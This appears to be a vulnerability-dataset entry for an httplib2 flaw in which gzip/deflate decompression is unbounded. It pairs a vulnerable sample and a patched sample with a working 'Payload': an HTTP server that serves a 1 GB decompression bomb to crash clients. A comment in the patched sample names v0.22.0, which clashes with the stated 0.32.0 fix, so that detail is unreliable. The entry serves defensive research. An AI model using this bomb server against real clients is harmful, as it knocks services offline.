CVE-2026-59939
httplib2 allows DoS via unbounded decompression of gzip/deflate responses.
- CVSS 7.5
- CWE-409
- Resource Management
- Remote
httplib2 is a comprehensive HTTP client library for Python. Prior to 0.32.0, httplib2 performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate in _decompressContent in httplib2/init.py, allowing a malicious or compromised HTTP server to return a small compressed payload that expands to an arbitrarily large size in memory and causes MemoryError or OOM-kill in the client process. This issue is fixed in version 0.32.0.
- CWE
- CWE-409
- CVSS base score
- 7.5
- Published
- 2026-07-08
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- httplib2
- Fixed by upgrading
- Yes
Solution
Upgrade `httplib2` to version 0.32.0 or later.
Vulnerable code sample
import gzip
import sys
# This function represents the vulnerable logic in httplib2 versions prior to 0.32.0.
# The core issue is the call to gzip.decompress() without any limits on the
# size of the output, allowing a "decompression bomb" to cause a MemoryError.
def vulnerable_decompress_function(compressed_data):
"""
Simulates the unbounded decompression vulnerability. A real-world exploit
would involve a malicious HTTP server sending 'compressed_data' as the
response body with a 'Content-Encoding: gzip' header.
"""
print(f"[*] Simulating client receiving {len(compressed_data)} bytes of compressed data.")
print("[*] Attempting to decompress the entire payload into memory...")
try:
# The vulnerable operation: decompressing an entire data stream into memory
# without any safety checks on the resulting size.
decompressed_data = gzip.decompress(compressed_data)
print(f"[+] Decompression successful. In-memory size: {len(decompressed_data) / (1024*1024):.2f} MB")
return decompressed_data
except MemoryError:
print("\n[!] CRITICAL: MemoryError caught!")
print("[!] The process ran out of memory, demonstrating the Denial of Service (DoS) vulnerability.")
sys.exit(1)
# --- Main execution demonstrating the vulnerability ---
# 1. A malicious actor prepares a "decompression bomb".
# This is a very small file that expands to a huge size.
# We create one in memory for this demonstration.
# WARNING: Running this will allocate a large amount of RAM (~512 MB).
UNCOMPRESSED_SIZE_IN_BYTES = 512 * 1024 * 1024 # 512 MB
# A payload of repeating null bytes compresses extremely well.
original_large_payload = b'\0' * UNCOMPRESSED_SIZE_IN_BYTES
# This is what a malicious server would send.
compressed_bomb_payload = gzip.compress(original_large_payload)
print(f"[*] Malicious payload prepared.")
print(f"[*] Compressed Size: {len(compressed_bomb_payload) / 1024:.2f} KB")
print(f"[*] Uncompressed Size: {len(original_large_payload) / (1024*1024):.2f} MB")
print("-" * 40)
# 2. A vulnerable client using an old version of httplib2 receives this
# 'compressed_bomb_payload' and calls its internal decompression logic.
vulnerable_decompress_function(compressed_bomb_payload)Patched code sample
import zlib
# The maximum size in bytes for the decompressed response body.
# This value is configurable in the fixed httplib2 (v0.22.0+).
MAX_DECOMPRESS_BODY_SIZE = 100 * 1024 * 1024 # 100MB
class DecompressionBomb(Exception):
"""Raised when a potential decompression bomb is detected."""
pass
def fixed_decompress_content(compressed_data: bytes, max_size: int) -> bytes:
"""
Safely decompresses gzip-encoded data, preventing decompression bombs
by limiting the output size. This function mimics the logic in the httplib2 fix.
"""
# In httplib2, the correct decompressor (gzip or deflate) is chosen
# based on the 'Content-Encoding' header. We use gzip's wbits here.
decompressobj = zlib.decompressobj(16 + zlib.MAX_WBITS)
# Attempt to decompress the data, but set a maximum length of `max_size + 1`.
# This allows us to detect if the decompressed size exceeds the limit
# in a single, memory-efficient step without allocating unbounded memory.
try:
decompressed_chunk = decompressobj.decompress(compressed_data, max_size + 1)
except zlib.error:
# The actual httplib2 fix handles cases where servers send a
# Content-Encoding header but don't actually compress the content.
# For this example, we re-raise to keep it focused on the fix logic.
raise
# If the first decompressed chunk is already over the limit, we have a bomb.
if len(decompressed_chunk) > max_size:
raise DecompressionBomb(
f"Decompressed content size exceeds the limit of {max_size} bytes."
)
# `flush()` decompresses and returns any remaining data in the decompressor's
# internal buffers. This is necessary for complete data retrieval.
remaining_data = decompressobj.flush()
# Check if the combination of the first chunk and the flushed remainder
# exceeds the limit. This catches cases where the bomb is split across chunks.
if len(decompressed_chunk) + len(remaining_data) > max_size:
raise DecompressionBomb(
f"Decompressed content size exceeds the limit of {max_size} bytes."
)
# If all checks pass, return the complete and safe decompressed content.
return decompressed_chunk + remaining_dataPayload
import http.server
import socketserver
import gzip
import io
class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Define the uncompressed size (e.g., 1 GB) to cause memory exhaustion.
uncompressed_size = 1024 * 1024 * 1024
# Create highly compressible data (a long string of null bytes).
uncompressed_data = b'\x00' * uncompressed_size
# Compress the data using gzip. This will result in a very small payload.
out_buffer = io.BytesIO()
with gzip.GzipFile(fileobj=out_buffer, mode='wb') as f:
f.write(uncompressed_data)
compressed_data = out_buffer.getvalue()
# Send the malicious response.
self.send_response(200)
# This header is crucial to trigger the vulnerability.
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Length', str(len(compressed_data)))
self.end_headers()
# Write the small compressed payload to the response body.
# The vulnerable client will try to decompress this to 1 GB in memory.
self.wfile.write(compressed_data)
PORT = 8080
with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd:
httpd.serve_forever()
Cite this entry
@misc{vaitp:cve202659939,
title = {{httplib2 allows DoS via unbounded decompression of gzip/deflate responses.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59939},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59939/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
